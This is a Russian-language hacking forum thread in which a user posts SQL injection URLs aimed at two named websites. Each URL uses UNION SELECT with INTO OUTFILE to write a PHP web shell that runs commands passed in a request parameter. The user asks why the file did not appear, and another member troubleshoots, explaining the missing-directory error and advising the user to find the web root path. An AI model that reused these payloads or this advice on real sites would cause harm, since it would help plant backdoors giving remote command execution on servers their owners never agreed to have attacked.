Into outfile

Discussion in 'Песочница' started by semen6192, 6 Jul 2015.

  1. semen6192

    semen6192 New Member

    Joined:
    9 Jun 2015
    Messages:
    24
    Likes Received:
    3
    Reputations:
    2
    Не могу загрузить свой файл на сайт:
    Code:
    http://www.nibbledpencil.com/ficha.php?id=-277%20and%201=1%20UNION%20SELECT%201,%22%3C?php%20system%28$_REQUEST[cmd]%29;exit;?%3E%22,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20INTO%20outfile%20%27/var/www/qwe.php%27--+
    Ошибка: Can't create/write to file '/var/www/qwe.php' (Errcode: 2)
    Ладно, допустим нельзя, пробуем 2-й сайт: http://www.cobranet.org(тренировочный)
    Code:
    http://www.cobranet.org/about.php?id=-1%20union%20select%201,2,3,%22%3C?php%20system%28$_GET[cmd]%29;exit;?%29%29%22,5,6%20into%20outfile%20%27/var/www/mnbbbb.php%27%20--
    Видим:
    SQL Error:
    1045: Access denied for user 'website'@'localhost' (using password: YES)
    [select * from about where section=-1 union select 1,2,3,"
    Но самое главное что мы видим(я так думаю): Access denied
    Но вот захожу на созданный файл: http://www.cobranet.org/mnbbbb.php
    и ничего нет, как правильно заливать файлы на сайт?
     
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    babin@laptop:~$ perror 2
    OS error code 2: No such file or directory

    а вот в папку tmp все нормально заливается. вам нужно просто найти верный путь до document_root.

    во втором случае у вас нет прав, чего удивлятся. читайте статьи и документацию
     
    _________________________
  3. semen6192

    semen6192 New Member

    Joined:
    9 Jun 2015
    Messages:
    24
    Likes Received:
    3
    Reputations:
    2
    мм... а где ето отображается?) Захожу:
    Code:
    http://www.nibbledpencil.com/qwe.php
    ошибка 404
     
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,662
    Likes Received:
    887
    Reputations:
    363
    папка tmp находится внутри, из под веба по до нее не дотянуться. прочитайте пару статьей про веб-сервера
     
    _________________________
  5. semen6192

    semen6192 New Member

    Joined:
    9 Jun 2015
    Messages:
    24
    Likes Received:
    3
    Reputations:
    2
    спс